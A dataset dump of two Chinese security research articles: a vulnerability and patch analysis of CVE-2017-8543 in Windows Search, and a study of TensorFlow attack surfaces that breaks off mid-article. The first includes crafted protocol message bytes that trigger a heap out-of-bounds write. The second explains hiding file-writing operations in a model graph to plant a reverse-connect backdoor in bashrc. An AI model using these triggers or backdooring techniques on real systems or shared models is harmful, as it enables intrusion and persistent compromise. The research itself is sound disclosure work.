text
stringlengths 100
9.93M
| category
stringclasses 11
values |
|---|---|
作者：启明星辰ADLab
#### 1\. 漏洞描述
2017年6月，微软发布的补丁修复了多个远程执行漏洞，其中包括 CVE-2017-8543 Windows Search
搜索漏洞（CNVD-2017-09381，CNNVD-201706-556），该漏洞几乎影响所有的 Windows 操作系统。对于 Windows XP 和
Windows Server 2003 等停止更新的系统，微软也发布了对应的补丁，用户可以手动下载补丁进行安装。
Windows 搜索服务（Windows Search Service，WSS）是 Windows
的一项默认启用的基本服务，用于建立和维护文件系统索引。由于 WSS 在解析搜索请求时，存在内存越界漏洞，可能导致远程代码执行。
#### 2\. 协议分析
当客户端对远程主机发起搜索请求后，它们之间使用 Windows 搜索协议（Windows Search
Protocol，WSP）进行数据交互。交互的消息序列如下所示。其中，CPMConnectIn 消息中包括服务器的名称和索引名称（默认
Windows\SYSTEMINDEX）。服务器验证客户端的权限后建立会话，回复 CPMConnectOut 消息； CPMCreateQueryIn
消息用于设置查询的文件目录范围、关键字信息等； CMPSetBindingsIn 消息用于设置返回的查询结果内容，例如文件名称、文件类型等；
CPMGetRowsIn 消息用于请求查询结果。
以上信息的 Header 需遵循以下格式，Header 大小为 0x10。
其中，`_msg` 表示消息类型，常用的消息类型如下所示。
与该漏洞成因相关的两个消息是 `CPMSetBindingsIn` 和 `CPMGetRowsIn`。
首先介绍 `CPMSetBindingsIn` 消息，消息的格式如下所示。
struct CPMSetBindingsIn
{
int msg_0;
int status_4;
int ulCheckSum_8;
int ulReserved2_c;
int hCursor_10;
int cbRow_14;
int cbBindingDesc_18;
int dummy_1c;
int cColumns_20;
struct Column aColumns[SIZE];
};
前 0x10 字节是消息 `Header；hCursor` 是 `CPMCreateQueryOut` 消息返回的句柄；`cbRow` 表示 `row`
的长度，以字节为单位；`aColumns` 是 `Column` 类型结构体数组；`cColumns` 是数组的长度。在这里，每一行 (row)
代表一条查询结果，每一列 (column) 代表查询结果属性，例如文件名称、文件类型等。
`CPMSetBindingsIn` 中的 `Column` 结构体定义如下：
struct Column
{
struct CFullPropSpec cCFullPropSpec;
int Vtype;
char AggregateUsed;
char AggregateType;
char ValueUsed;
char padding1;
short ValueOffset;
short ValueSize;
char StatusUsed;
char padding2;
short StatusOffset;
char LengthUsed;
char padding3;
short LengthOffset;
}
struct CFullPropSpec
{
char GUID[0x10];
int ulKind;
int PrSpec;
}
其中，GUID 标志所代表的属性，例如 `guidFilename=E05ACF41-5AF70648-BD8759C7-D9248EB9` 代表文件名称。
Vtype 表示 column 对应的数据类型。常用数据类型如下表，在 `CPMSetBindingsIn` 消息中，Vtype 一般取值 0x0c。
ValueOffset 表示在每一行 (row)，该 column 数据存放的偏移位置，ValueSize 表示这个 column 数据所占内存大小。
当收到 `CPMSetBindings` 消息时，程序调用 `DoSetBindings` 进行数据解析。`DoSetBindings` 是
`CRequestServer` 类的成员函数。 `CRequestServer` 类中还包括其他解析函数，例如
`DoCreateQuery`、`DoGetRows` 等。数据成员 `cCProxyMessage_c0` 即为接收的数据 Buffer。
class CRequestServer
{
public:
void DoConnect(unsigned long len,unsigned long &var)(); //解析CPMConnectIn消息
void DoCreateQuery(unsigned long len,unsigned long &var); //解析CPMCreateQueryIn消息
void DoSetBindings(unsigned long len,unsigned long &var); //解析CPMSetBindingsIn消息
void DoGetRows(unsigned long len,unsigned long &var)(); //解析CPMGetRowsIn消息
.....
private:
...
CVIQuery *pCVIQuery_5c;
XArray *pXArray_6c;
CProxyMessage cCProxyMessage_c0;
...
};
`DoSetBindings` 函数的实现如下所示。
void DoSetBindings(unsigned long len,unsigned long &var)
{
CPMSetBindingsIn *pCPMSetBindingsIn = &cCProxyMessage_c0;
pCPMSetBindingsIn->ValidateCheckSum(var_40,len);
struct CMemDeSerStream* pCMemDeSerStream = new pCMemDeSerStream((char*)pCPMSetBindingsIn);
class CPidMapper* pCPidMapper=new CPidMapper(0);
CTableColumnSet * pCTableColumnSet = new CTableColumnSet(pCMemDeSerStream, pCPidMapper);
pCVIQuery_5c->SetBindings(pCPMSetBindingsIn->hCursor_10,
pCPMSetBindingsIn->cbRow_14,
pCTableColumnSet,
pCPidMapper);
}
（1）`DoSetBindings` 函数首先初始化 `pCPMSetBindingsIn` 指针，使其指向接收的 `CPMSetBindingsIn`
数据，然后使用 `pCPMSetBindingsIn` 指针初始化 `CMemDeSerStream` 类。`CMemDeSerStream`
类用于完成各个字段的读取。
（2）使用 `pCMemDeSerStream` 指针初始化 `CTableColumnSet` 类。`CTableColumnSet` 类和
`CPidMapper` 类都是 `CCountedDynArray` 类的派生类。`CCountedDynArray`
是一个数组类，数据成员包含一个指针数组 `Array_4`。`CTableColumnSet` 类构造函数首先调用 `GetULong` 获得数组长度
`cColumns` 作为循环次数，然后循环解析 `aColumns` 数组元素。在 `while` 循环中：
* 解析 column 结构中的 `CFullPropSpec` 结构，将对象指针 `&CFullPropSpec` 添加到 `CPidMapper` 中： `pCPidMapper->array_4[CurrentIndex] = &cCFullPropSpec`
* 解析 column 结构中的其他字段，并保存到 `CTableColumn`类，将对象指针 `pCTableColumn` 添加到 `CTableColumnSet` 中：`pCTableColumnset->array_4[RetIndex] = pCTableColumn`
CTableColumnSet(CMemDeSerStream *pCMemDeSerStream, CPidMapper* pCPidMapper)
{
int _ColumnCount = pCMemDeSerStream->GetULong();
SetExactSize(_ColumnCount);
char GUID[16]={0};
int count = 0;
do{
CFullPropSpec cCFullPropSpec(pCMemDeSerStream); //解析CFullPropSpec
if(0==cCFullPropSpec.IsValid())
goto error;
int RetIndex = pCPidMapper->NameToPid(&cCFullPropSpec,0,0);
CTableColumn *pCTableColumn = new CTableColumn(RetIndex,1); //解析CTableColumn
Add(pCTableColumn,RetIndex); count++;
}while(count<_ColumnCount);
}
（3）将 `pCPidMapper` 和 `pCTableColumnset` 作为参数传入到 `CVIQuery:: SetBindings`
中。`CVIQuery:: SetBindings` 函数调用了 `CTableCursor::CheckBindings`，在 while
循环中，依次获取 `pCTableColumnset` 中的 `CTableColumn` 元素，调用 `checkBinding` 检测
`CTableColumn` 有效性。
int CheckBindings(CTableColumnSet *pCTableColumnSet,CTableRowAlloc *pCTableRowAlloc,int cbRow)
{
int index=0;
int result;
if(!pCTableColumnSet->CurrentIndex)
return 0;
while(1)
{
CTableColumn *pCTableColumn = pCTableColumnSet->Get(index);
result = CheckBinding(pCTableColumn, pCTableRowAlloc, cbRow);
if ( result < 0 )
break;
if ( ++index >= pCTableColumnSet->CurrentIndex)
return 0;
}
return result;
}
int CheckBinding(CTableColumn *pCTableColumn,CTableRowAlloc *pCTableRowAlloc,int cbRow)
{
pCTableColumn->Validate(cbRow,0);
//.......
}
`CTableCursor::checkBinding` 调用 `CTableColumn::Validate` 进行验证，如果 `ValueSize +
ValueOffset` 大于 `cbRow`，将抛出异常，以防内存越界。
void validate(int cbRow,bool flag)
{
try
{
if(ValueSize_06 + ValueOffset_04>cbRow)
throw 0x80040E08;
}
}
接下来介绍 `CPMGetRows` 消息，`CPMGetRowsIn` 消息格式如下：
struct CPMGetRowsIn
{
int msg_0;
int status_4;
int ulCheckSum_8;
int ulReserved2_c;
int hCursor_10;
int cRowsToTransfer_14;
int cbRowWidth_18;
int cbSeek_1c;
int cbReserved_20;
int cbReadBuffer_24;
int ulClientBase_28;
int fBwdFetch_2c;
int eType_30;
int chapt_3C;
union
{
CRowSeekAt cCRowSeekAt;
CRowSeekAtRatio cCRowSeekAtRatio;
CRowSeekByBookmark cCRowSeekByBookmark;
CRowSeekNext cCRowSeekNext;
}
}
`CPMGetRowsOut` 的消息格式如下：
struct CPMGetRowsOut
{
int msg_0;
int status_4;
int ulCheckSum_8;
int ulReserved2_c;
int cRowsReturned_10;
int eType_14;
int chapt_18;
//Rows_offset;
}
在 `CPMGetRowsIn` 消息中，`cbRowWidth` 表示 `row` 长度，与 `CPMSetBindingsIn` 消息中的
`cbRow` 意义相同。`cbReadBuffer` 表示用于存放 `CPMGetRowsOut` 消息的 `buffer`
大小；`cbReserved` 表示 `Rows` 数据在 `CPMGetRowsOut` 消息中的偏移；`eType`
表示查询的方法，取值范围如下表所示。
在 `CPMGetRowsOut` 消息中，对于每一行（row）中的列（column）， column 数据使用 `CTableVariant`
类表示。`CTableVariant` 结构定义如下。其中 `Vtype` 表示数据类型，取值范围见前文 `Vtype` 常用数据类型表所示。如果
`Vtype` 为字符串等变长数据类型，`offset` 则指向的该变长数据偏移位置。`CTableVariant` 结构存放在 `valueoffset`
指定的位置，变长数据则存放在内存末尾位置，在后面解析代码中进行说明。
当接收 `CPMGetRowsIn` 数据，调用 `DoGetRows` 函数，函数实现如下所示。
void DoGetRows(unsigned long len,unsigned long &var)
{
CMPGetRowsOut *pCMPGetRowsOut = cCProxyMessage_c0;
CPMGetRowsIn *pCPMGetRowsIn = &cCProxyMessage_c0;
pCPMGetRowsIn->ValidateCheckSum(var_40,len);
char *pCPMGetRowsIn_eType_30 = &pCPMGetRowsIn->eType_30;
char *pCPMGetRowsIn_eType_cbseek= (char *)&pCPMGetRowsIn->eType_30 + pCPMGetRowsIn->cbSeek_1c;
struct CMemDeSerStream* pCMemDeSerStream = new pCMemDeSerStream(pCPMGetRowsIn_eType_30,
*pCPMGetRowsIn_eType_cbseek);
CRowSeekMethod* pCRowSeekMethod=0;
UnmarshallRowSeekDescription(pCMemDeSerStream,&pCRowSeekMethod,0);
int a2=0;
if(pCPMGetRowsIn->cbReadBuffer_24>0x1300) pXArray_6c->init(pCPMGetRowsIn->cbReadBuffer_24);
char * pArray = pXArray_6c->pArray_0;
if(pArray){
*(DWORD*)pArray = 0xcc;
*(DWORD*)(pArray + 4) = 0;
*(DWORD*)(pArray + 8) = 0;
*(DWORD*)(pArray + c) = 0;
}
pCMPGetRowsOut = pXArray_6c->pArray_0;
CFixedVarBufferAllocator cCFixedVarBufferAllocator(
pCMPGetRowsOut,
a2,
pCPMGetRowsIn->cbReadBuffer_24,
pCPMGetRowsIn->cbRowWidth_18,
pCPMGetRowsIn->cbReserved_20);
int flag =1;
CGetRowsParams cCGetRowsParams(
pCPMGetRowsIn->cRowsToTransfer_14,
flag,
pCPMGetRowsIn->cbRowWidth_18,
&cCFixedVarBufferAllocator);
CRowSeekMethod *pCRowSeekMethod_new;
pCVIQuery_5c->GetRows(
pCPMGetRowsIn->hCursor_10,
pCRowSeekMethod,
&cCGetRowsParams,
&pCRowSeekMethod_new);
}
（1）`UnmarshallRowSeekDescription` 函数根据 etype
类型（eRowSeekNext，eRowSeekAt，eRowSeekAtRatio或eRowSeekByBookmark），返回 SeekMethod
方法对象。
（2）如果 `cbReadBuffer_24` 长度大于 `0x1300`，分配新内存存放 `CMPRowsOut`， `pCMPGetRowsOut`
指向分配的地址。
（3）使用 `pCMPGetRowsOut` 指针初始化 `CFixedVarBufferAllocator`
类对象。`CFixedVarBufferAllocator` 构造函数如下所示。其中两个关键的数据成员： **RowBufferStart** 地址为
rows 数据的基地址， **RowBufferEnd** 表示当前可用的末尾地址。
CFixedVarBufferAllocator(char *ReadBuffer,int a1,int cbReadBuffer,int cbRowWidth,int cbReserved)
{
pvatable_0 = &CFixedVarBufferAllocator::`vftable'{for `PVarAllocator'};
isequal_4 = (ReadBuffer != 0);
pvatable_8 = &CFixedVarBufferAllocator::`vftable'{for `PFixedAllocator'};
ReadBuffer_0c = ReadBuffer;
ReadBuffer_10 = ReadBuffer;
var_14 = a1;
RowBufferStart_18 = (char *)ReadBuffer + cbReserved;
RowBufferEnd_1c = (char *)ReadBuffer + cbReadBuffer;
cbRowWidth_20 = cbRowWidth;
cbReserved_24 = cbReserved;
while (RowBufferEnd_1c & 7 )
{
--RowBufferEnd_1c;
}
}
（4）使用对象地址 `&cCFixedVarBufferAllocator`，`cbRowWidth` 等参数初始化 `CGetRowsParams`
对象。最后调用 `CVIQuery:: GetRows` 函数。
int CVIQuery::GetRows(int hCursor,
CRowSeekMethod *pCRowSeekmethod,
CGetRowsParams *pCGetRowsParams,
CRowSeekMethod *pCRowSeekMethod_new)
{
int result;
CItemCursor *pCItemCursor = *(DWORD *)(var_68 + 4*hCursor);
CTableCursor *pCTableCursor = pCItemCursor + 0x14;
pCTableCursor->ValidateBindings(); //检查pCTableCursor->pCTableColumnSet_4是否为
result = pCRowSeekmethod->GetRows(pCTableCursor,
pCItemCursor,
pCGetRowsParams,
pCRowSeekMethod_new);
return result;
//.................
}
假设 `etype=eRowSeekAt`，则 `pCRowSeekmethod` 指针 `CRowSeekAt` 类指针。此时函数调用序列：
CVIQuery::GetRows->CRowSeekAt:: GetRows->CVICursor:: GetRowsAt
`CVICursor:: GetRowsAt` 函数实现如下所示。其中，参数 `pCTableColumnSet` 是由前面的
`DoSetBindings` 函数构造。在 while 循环中：
* 调用 `CFixedVarBufferAllocator::AllocFixed` 获取当前行 (row) 存放的基地址 RowBufferBase。
* 调用 `CItemCursor::GetRow` 依次获取每一行(row)数据。
int CVICursor::GetRowsAt(int hRegion,
int bmkOffset,
int chapt,
int cskip,
CTableColumnSet *pCTableColumnSet,
CGetRowsParams *pCGetRowsParams,
int *pbmkOffset)
{
int result;
int fBwdFetch = pCGetRowsParams->fBwdFetch_14;
//this=pCItemCursor
while(pCGetRowsParams->cRowsToTransfer_0!=pCGetRowsParams->cRowsAlreadyGet_4&&!result)
{
char *RowBufferBase = pCGetRowsParams->pCFixedVarBufferAllocator_8->AllocFixed();
int index=0;
result = ((CItemCursor*)this)->GetRow(index, pCTableColumnSet, pCGetRowsParams, RowBufferBase);
if(!result)
{
pCGetRowsParams->cRowsAlreadyGet_4++;
pCGetRowsParams->var_10 = 0;
*pbmkOffset = index + 1;
if(fBwdFetch)
index++;
else
index--;
}
}
}
-------------------------------------------------------------------------------------------- char* CFixedVarBufferAllocator::AllocFixed()
{
char *result = RowBufferStart_18;
try
{
if(RowBufferEnd_1c - RowBufferStart_18 < cbRowWidth_20)
throw 0xC0000023;
RowBufferStart_18 += cbRowWidth_20;
}
return result;
}
`CItemCursor::GetRow` 调用 `CWIDToOffset:: GetItemRow`，代码如下所示。`CWIDToOffset::
GetItemRow` 函数循环写入 column 数据。在 while 循环中：
* 首先，从 `CTableColumnSet` 数组中取出 `CTableColumn`；
* 然后，计算 Column 存放地址 `pCTableVariant`， `pCTableVariant` 地址等于行基址 `RowBufferBase` 加上该 column 的偏移 ValueOffset。
* 最后，调用 `CTableVariant::CopyOrCoerce`，将 Column 数据写入到 `pCTableVariant` 地址中。
int CItemCursor::GetRow(int index, CTableColumnSet *pCTableColumnSet, CGetRowsParams *pCGetRowsParams, char* RowBufferBase)
{
int value = psegvec_34->Get(index); //1=get(0);
CWIDToOffset *pCWIDToOffset = *(DWORD*)(pCVIQuery_10->var_7c);
return pCWIDToOffset->GetItemRow(index,value,pCTableColumnSet, pCGetRowsParams, RowBufferBase);
}
------------------------------------------------------------------------------------------ int CWIDToOffset::GetItemRow(int index, int value,CTableColumnSet *pCTableColumnSet, CGetRowsParams *pCGetRowsParams, char* RowBufferBase)
{
//...........
int index=0;
CTableVariant *pCTableVariant;
while(index<pCTableColumnSet->len_0)
{
//............
CTableColumn* pCTableColumn = pCTableColumnSet->Get(index_column);
int var5;
pCTableVariant = (CTableVariant*)(RowBufferBase + pCTableColumn->ValueOffset_04);
CTableVariant::CopyOrCoerce(pCTableVariant,
pCTableColumn->ValueSize_06,
pCTableColumn->Vtype_0E,
&var5,
pCGetRowsParams->pCFixedVarBufferAllocator_8);//写入列属性数据
}
}
在 `CTableVariant::CopyOrCoerce` 函数中，当 `vtype=0x0c`，首先调用 `VarDataSize`
函数，返回变长数据大小 size。
* 如果 column 为定长数据，size=0， 直接填充 `pCTableVariant` 指针数据。
void CTableVariant::CopyOrCoerce(CTableVariant *pCTableVariant,int ValueSize,int Vtype,int *var5,CFixedVarBufferAllocator* pCFixedVarBufferAllocator)
{
//..........
if(Vtype==0x0c)
{
int size = VarDataSize();
Copy(pCTableVariant, pCFixedVarBufferAllocator, size, 0);
}
//.........
}
void CTableVariant::Copy(CTableVariant *pCTableVariant,CFixedVarBufferAllocator* pCFixedVarBufferAllocator,int size,int a4)
{
//............
if(size)
CTableVariant::CopyData(pCFixedVarBufferAllocator, size, a4);
pCTableVariant->vtype=vtype;
pCTableVariant->reserved1=reserved1;
pCTableVariant->reserved2=reserved2;
pCTableVariant->offset=offset;
}
* 如果 column 为变长数据，`size>0`。函数调用序列如下：`CTableVariant::CopyData-> PVarAllocator::CopyTo-> CFixedVarBufferAllocator::Allocate`
调用 `CFixedVarBufferAllocator::Allocate` 获取字符串存放地址：首先计算是否存在足够的存储空间，从
`RowBufferEnd_1c` 位置向前寻找存储空间存放字符串：`RowBufferEnd_1c =
RowBufferEnd_1c-size`；然后调用 `memcpy` 拷贝字符串。
void * CopyTo(int size, char *src)
{
char *buffer = Allocate(size);
memcpy(buffer, Src, Size);
return buffer;
}
void* CFixedVarBufferAllocator::Allocate(int size)
{
try
{
if(RowBufferEnd_1c-RowBufferStart_18<size)
throw 0xC0000023;
}
RowBufferEnd_1c = RowBufferEnd_1c-size;
return RowBufferEnd_1c;
}
查询结果数据 `CPMGetRowsOut` 在内存中的状态如下图所示。可以看出，rows 中的变长数据存放在 Buffer
末尾位置，且以地址递减的方式进行存放。
#### 3\. POC 与漏洞分析
实验环境如下表：
在 client 端，附件->运行，输入
`“\\servername”`，回车，即可看到共享文件夹。打开文件夹，在搜索框里输入关键字进行搜索，这个搜索过程会产生一系列的 WSP 消息交互序列。
可以通过中间人的方式，修改数据包来重现这个漏洞。修改 `CPMSetBindingsIn` 和 `CPMGetRows` 消息，如下所示。
char CPMSetBindingsIn[] =
"\xd0\x00\x00\x00\x00\x00\x00\x00\x7c\x19\x35\xbd\x00\x00\x00\x00"
"\x01\x00\x00\x00" //_hCursor
"\x78\x07\x00\x00" //_cbRow
"\x34\x00\x00\x00"//_cbBindingDesc
"\x50\x39\xee\x69"
"\x01\x00\x00\x00" // cbRow
"\x70\x39\xee\x69" //padding
"\x90\x1c\x69\x49\x17\x7e\x1a\x10\xa9\x1c\x08\x00\x2b\x2e\xcd\xa9" //GUID
"\x01\x00\x00\x00"
"\x05\x00\x00\x00"
"\x0c\x00\x00\x00"
"\x01\x00"
"\x01\x00"
"\x60\x07" //ValueOffset
"\x10\x00" //ValueSize
"\x01\x00"
"\x02\x00"
"\x01\x00"
"\x04\x00";
char CPMGetRows[] =
"\xcc\x00\x00\x00\x00\x00\x00\x00\xae\x12\xfd\x5c\x00\x00\x00\x00"
"\x01\x00\x00\x00" //#+0x010 _hCursor
"\x20\x00\x00\x00" //#+0x014 _cRowsToTransfer
"\x02\x07\x00\x00"//#+0x018 _cbRowWidth
"\x14\x00\x00\x00" //#+0x01c _cbSeek
"\xee\x38\x00\x00"// #+0x020 _cbReserved
"\x00\x40\x00\x00" //#+0x024 _cbReadBuffer
"\x58\xe8\xad\x05" //#+0x028 _ulClientBase
"\x00\x00\x00\x00" //#+0x02c _fBwdFetch
"\x02\x00\x00\x00" //eType,eRowSeekAt
"\x00\x00\x00\x00" //_chapt
"\xfc\xff\xff\xff"//_bmkOffset
"\x00\x00\x00\x00"//_cskip
"\x00\x00\x00\x00";//_hRegion
cbReadBuffer=0x4000
RowBufferBase = ReadBuffer + _cbReserved = ReadBuffer + 0x38ee
CTableVariant *pCTableVariant = RowBase + valueoffset = ReadBuffer+0x38ee+0x760 = ReadBuffer + 404e
而 ReadBuffer 大小为 0x4000，因此向 column 中写入数据时，将发生地址越界。
其实，在前面获取 RowBufferBase 的 `CFixedVarBufferAllocator::AllocFixed` 函数中，是进行了合法检查的。
char* CFixedVarBufferAllocator::AllocFixed()
{
char *result = RowBufferStart_18;
try
{
if(RowBufferEnd_1c - RowBufferStart_18 < cbRowWidth_20)
throw 0xC0000023;
RowBufferStart_18 += cbRowWidth_20;
}
return result;
}
但是由于 GetRowsIn 中的 cbRowWidth 本身是不可信的，可以任意赋值，因此可以绕过该检查触发漏洞。
#### 4\. 补丁分析
补丁对 `CVIQuery::GetRows` 函数代码进行修改。在调用 `pCRowSeekmethod->GetRows` 函数前，对
`cbRowWidth` 的合法性进行判断。其中，`pCTableCursor->cbRow_2` 值为 `CPMSetBindingsIn` 消息中的
`cbRow` 。
int CVIQuery::GetRows(int hCursor,
CRowSeekMethod *pCRowSeekmethod,
CGetRowsParams *pCGetRowsParams,
CRowSeekMethod *pCRowSeekMethod_new)
{
int result;
CItemCursor *pCItemCursor = *(DWORD *)(var_68 + 4*hCursor);
CTableCursor *pCTableCursor = pCItemCursor + 0x14;
pCTableCursor->ValidateBindings();
if(pCTableCursor->cbRow_2 != pCGetRowsParams->cbRowWidth_c)
return 0x80070057;
result = pCRowSeekmethod->GetRows(pCTableCursor,
pCItemCursor,
pCGetRowsParams,
pCRowSeekMethod_new);
return result;
//.................
}
* * *
**启明星辰积极防御实验室（ADLab）**
ADLab成立于1999年，是中国安全行业最早成立的攻防技术研究实验室之一，微软MAPP计划核心成员。截止目前，ADLab通过CVE发布Windows、Linux、Unix等操作系统安全或软件漏洞近300个，持续保持亚洲领先并确立了其在国际网络安全领域的核心地位。实验室研究方向涵盖操作系统与应用系统安全研究、移动智能终端安全研究、物联网智能设备安全研究、Web安全研究、工控系统安全研究、云安全研究。研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。
* * * | 社区文章 |
**作者：[ Tencent Blade Team ] Cradmin
来源：<https://security.tencent.com/index.php/blog/msg/130>**
### **0x1 大势所趋 —— 人工智能时代来临**
我们身处一个巨变的时代，各种新技术层出不穷，人工智能作为一个诞生于上世纪50年代
的概念，近两年出现井喷式发展，得到各行各业的追捧，这背后来自于各种力量的推动，诸如深度学习算法的突破、硬件计算能力的提升、不断增长的大数据分析需求等。从2017年的迅猛发展，到2018年的持续火爆，国内外各个巨头公司如腾讯、阿里、百度、Google、微软、Facebook等均开始在人工智能领域投下重兵，毫无疑问，这一技术未来将会深度参与我们的生活并让我们的生活产生巨大改变：人工智能时代来了！
面对一项新技术/新趋势的发展，作为安全研究人员该关注到什么？没错，每一个新技术的诞生及应用都会伴随有安全风险，安全研究人员要在风暴来临之前做到未雨绸缪。Blade
Team作为关注行业前瞻安全问题的研究团队，自然要对AI技术进行安全预研。
### **0x2 未雨绸缪 —— AI系统安全风险分析**
一个典型的人工智能系统大致由3部分组成：算法模型，AI支撑系统(训练/运行算法的软件基础设施)和业务逻辑及系统。比如一个人脸识别系统基本架构如下：
图1 典型人脸识别系统架构
从安全视角来看，我们可以得出3个潜在的攻击面：
AI算法安全：算法模型是一个AI系统的核心，也是目前AI安全攻防对抗的焦点。具体来讲，目前AI算法安全的主要风险在于对抗样本(adversarial
examples)攻击，即通过输入恶意样本来欺骗AI算法，最终使AI系统输出非预期的结果，目前已发展出诸如生成对抗网络(GAN)这种技术[0]，以AI对抗AI，在这个领域学术界和工业界已有大量研究成果，大家可Google了解。
AI支撑系统安全：AI算法模型的运行和训练都需要一套软件系统来支撑，为了提高计算效率和降低门槛，各大厂商开发了机器学习框架，本文的主角Google
Tensorflow就属于这一层，类比于计算机系统中的OS层，可以想象到这里如果出现安全问题，影响如何？而这类框架的安全性目前并没有得到足够的关注。
业务逻辑系统：上层业务逻辑及相关系统，与传统业务和运维安全风险差别不大，不再赘述。
### **0x3 被忽视的主角——机器学习框架介绍**
经过近几年的发展，各种机器学习框架不断涌现出来，各有特色，其中不乏大厂的身影，我们选取了三款使用量较大的框架作为研究对象：
Tensorflow[1]：由Google开发，面向开源社区，功能强大，易用性高，早期性能稍差，但在Google强大的工程能力下，已有明显改观，从使用量上看，目前是机器学习框架里面的TOP
1。
Caffe[2]：2013年由UC
Berkely的贾扬清博士开发，在学术界使用极其广泛，卷积神经网络的实现简洁高效，但因历史架构问题，不够灵活。目前贾教主已就职Facebook，并在Facebook的大力支持下，推出了Caffe2，解决Caffe时代留下的问题（编辑注：发布本文时，已有消息称贾教主已经加盟阿里硅谷研究院，可见巨头对AI人才的渴求）。
Torch[3]：Facebook内部广泛使用的一款机器学习框架，灵活性和速度都不错，唯一不足是默认采用Lua语言作为API接口，初学者会有些不习惯，当然目前也支持了Python。
图2 业界流行机器学习框架简要对比
以Tensorflow为例，我们先来看一下它的基本架构：
图3 Tensorflow基本架构[4]
由上图大致可以看出，除了核心的机器学习算法逻辑外(Kernel
implementations)，Tensorflow还有大量的支撑配套系统，这无疑增加了软件系统的复杂性。
我们继续沿用上一节的思路，首先详细分析下Tensorflow的攻击面。这里也插个题外话，分享下个人的一些研究习惯，一般在接触到一个新领域，笔者习惯通读大量资料，对该领域的基本原理和架构有个相对深入的了解，必要时结合代码粗读，对目标系统进行详细的攻击面分析，确定从哪个薄弱点入手，然后才是看个人喜好进行代码审计或Fuzzing，发现安全漏洞。在笔者看来，安全研究前期的调研工作必不可少，一方面帮你确定相对正确的研究目标，不走过多弯路，另一方面对功能和原理的深入理解，有助于找到一些更深层次的安全问题。
通过对Tensorflow功能和架构的了解，笔者大致把攻击面分为以下几类：
**输入文件解析逻辑：** 包括对训练和推断时用到的图片、视频、音频等类型文件的解析处理
**模型处理逻辑：** 模型文件的解析和模型运行机制
**机器学习算法逻辑：** 机器学习算法实现逻辑
分布式部署及扩展功能：包括Tensorflow分布式集群功能，性能优化XLA Compiler，自定义函数扩展功能等。
详细可参考下图，这是当时基于Tensorflow
1.4版本的分析，有兴趣的读者可以自行分析添加。在随后的审计中，我们在多个攻击面中发现了安全问题，其中一个最严重的风险存在于Tensorflow的模型处理机制。
### **0x4 抽丝剥茧——Tensorflow模型机制和漏洞成因**
我们先来了解下Tensorflow的模型机制。
顾名思义，Tensor是Tensorflow中的基本数据类型(或者说数据容器)，flow表示dataflow，Tensorflow用数据流图(dataflow
graph)来表示一个计算模型，图中的结点(node)表示计算操作(operation)，图中的边(edge)表示数据输入和输出，当我们设计了一个机器学习模型，在Tensorflow中会以一张数据流图来表示，最终算法模型会以图的形式在Tensorflow运行时(runtime)下执行，完成我们需要的运算。可以参考Tensorflow官网的一个示例。
图5 Tensorflow的数据流图[5]
机器学习模型训练中经常会出现这样的场景：
1. 需要中断当前训练过程，保存模型，以备下次从中断处继续训练
2. 把训练好的模型保存，分享给他人进一步调优或直接使用
Tensorflow提供了两种种模型持久化机制，可以把算法模型保存为文件：tf.train.Saver和tf.saved_model。两组API在把模型持久化为文件时，结构上有些差异，tf.train.Saver适合临时保存被中断的训练模型，被保存的模型称为一个checkpoint，tf.saved_model更适合保存完整的模型提供在线服务。
tf.train.Saver保存的模型文件如下：
savermodel.meta是模型的元数据，也就是数据流图的描述文件，采用特定的二进制格式，savermodel.data-xxx保存着模型中各个变量的值。
再来看下tf.saved_model保存的模型文件：
saved_model.pbtxt保存着表示算法模型的图结构，可以指定保存为protobuf文本格式或二进制格式，但通常情况下出于空间效率考虑，默认采用二进制形式保存，variables目录中保存模型中变量的值。
可以看到，不管哪种方式，都需要保存关键的数据流图的结构，打开saved_model.pbtxt，仔细看下我们关心的数据流图：
可以比较直观的看到图的结构，比如Add是操作类型，输入是参数x和y，输出是z，不难得出是一个简单的加法计算z=x+y；Tensorflow
API提供了大量的操作类型，来满足各种计算需求。
图6 Tensorflow Python API[6]
看到这里，大家可有什么想法？没错，既然算法模型是以图的形式在Tensorflow中执行，从图的角度看，我们能否在不影响图的正常流程的情况下，插入一些额外的操作(结点)呢？进一步，如果这些操作是恶意的呢？
### **0x5 大巧若拙——漏洞利用**
从上一节的分析，我们发现了一个让人略感兴奋的攻击思路，在一个正常的Tensorflow模型文件中插入可控的恶意操作，如何做到呢？需要满足两个条件：
1. 在数据流图中插入恶意操作后，不影响模型的正常功能，也就是说模型的使用者从黑盒角度是没有感知的；
2. 插入的操作能够完成“有害”动作，如代码执行等。
先看下第二个条件，最直接的“有害”动作，一般可关注执行命令或文件操作类等，而Tensorflow也确实提供了功能强大的本地操作API，诸如tf.read_file,
tf.write_file, tf.load_op_library,
tf.load_library等。看这几个API名字大概就知其义，最终我们选择使用前2个读写文件的API来完成PoC，其他API的想象空间读者可自行发掘。在验证过程中，笔者发现这里其实有个限制，只能寻找Tensorflow内置的API操作，也叫做kernel
ops，如果是外部python库实现的API函数，是不会插入到最终的图模型中，也就无法用于这个攻击场景。
满足第一个条件，并没有想象的那么简单，笔者当时也颇费了一翻周折。
我们以一个简单的线性回归模型y=x+1为例，x为输入变量，y为输出结果，用Tensorflow的python API实现如下：
读写文件类的操作显然与线性回归计算无关，不能直接作为模型的输入或输出依赖来执行；如果直接执行这个操作呢？
从tf.write_file
API文档可以看到，返回值是一个operation，可以被Tensorflow直接执行，但问题是这个执行如何被触发呢？在Tensorflow中模型的执行以run一个session开始，这里当用户正常使用线性回归模型时，session.run(y)即可得到y的结果，如果要执行写文件的动作，那就要用户去执行类似session.run(tf.write_file)这样的操作，显然不正常。
在几乎翻遍了Tensorflow的API文档后，笔者找到了这样一个特性：
简单来说，要执行control_dependencies这个context中的操作，必须要先计算control_inputs里面的操作，慢着，这种依赖性不正是我们想要的么？来看看这段python代码：
这个success_write函数返回了一个常量1，但在control_dependencies的影响下，返回1之前必须先执行tf.write_file操作！这个常量1正好作为模型y=x+1的输入，漏洞利用的第一个条件也满足了。
最后还有一个小问题，完成临门一脚，能够读写本地文件了，能干什么“坏事”呢？在Linux下可以在crontab中写入后门自动执行，不过可能权限不够，笔者这里用了另外一种思路，在Linux下读取当前用户home目录，然后在bashrc文件中写入反连后门，等用户下次启动shell时自动执行后门，当然还有其他利用思路，就留给读者来思考了。值得注意的是，利用代码中这些操作都需要用Tensorflow内置的API来完成，不然不会插入到图模型中。
把上面的动作串起来，关键的PoC代码如下：
当用户使用这个训练好的线性回归模型时，一般使用以下代码：
运行效果如下：
